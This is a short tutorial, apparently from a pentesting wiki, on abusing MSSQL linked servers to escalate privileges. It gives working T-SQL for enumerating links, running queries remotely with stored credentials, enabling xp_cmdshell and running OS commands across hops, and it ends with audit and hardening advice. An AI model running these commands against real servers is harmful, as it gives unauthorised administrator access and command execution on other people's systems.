MSSQL Linked Servers

A linked server is a permanent connection that an MS SQL server keeps to another SQL instance, so it can run distributed queries against it. That connection authenticates with fixed credentials stored in the link, and very often those credentials belong to a user who is more privileged than we are on the remote server (it is not unusual for them to be sa). Abusing linked servers lets you jump from an instance where you are a limited user to another where you run as an administrator, and to chain several hops.

Mechanism

From a SQL session, first enumerate the existing links:

SELECT srvname, isremote FROM master..sysservers;

With EXECUTE ... AT you run a query on the linked server, which executes it with its stored credentials. Checking who we are on the other side is usually revealing:

EXECUTE('SELECT system_user, is_srvrolemember(''sysadmin'')') AT [SQL02];

If we are sysadmin on the other side, you enable and use xp_cmdshell remotely to run operating-system commands, all from our initial session:

EXECUTE('sp_configure ''show advanced options'', 1; RECONFIGURE;
         sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [SQL02];
EXECUTE('xp_cmdshell ''whoami''') AT [SQL02];

Links can form chains (A -> B -> C), walked by nesting EXECUTE('...') AT. PowerUpSQL automates this discovery with Get-SQLServerLinkCrawl, which follows the whole chain and tells you at which hop we end up as an administrator.

How to detect it

From the attacker side, Get-SQLServerLinkCrawl -Instance <host> maps every reachable hop and the user context at each one. From the defensive side, audit the links and the account they use:

SELECT name, provider, data_source FROM sys.servers WHERE is_linked = 1;

Defence. Configure linked servers with the least privileged account that does the job (never sa), avoid links that impersonate the current login without control, and segment instances so a compromise does not propagate along the chain. Related to xp_cmdshell and MSSQL impersonation.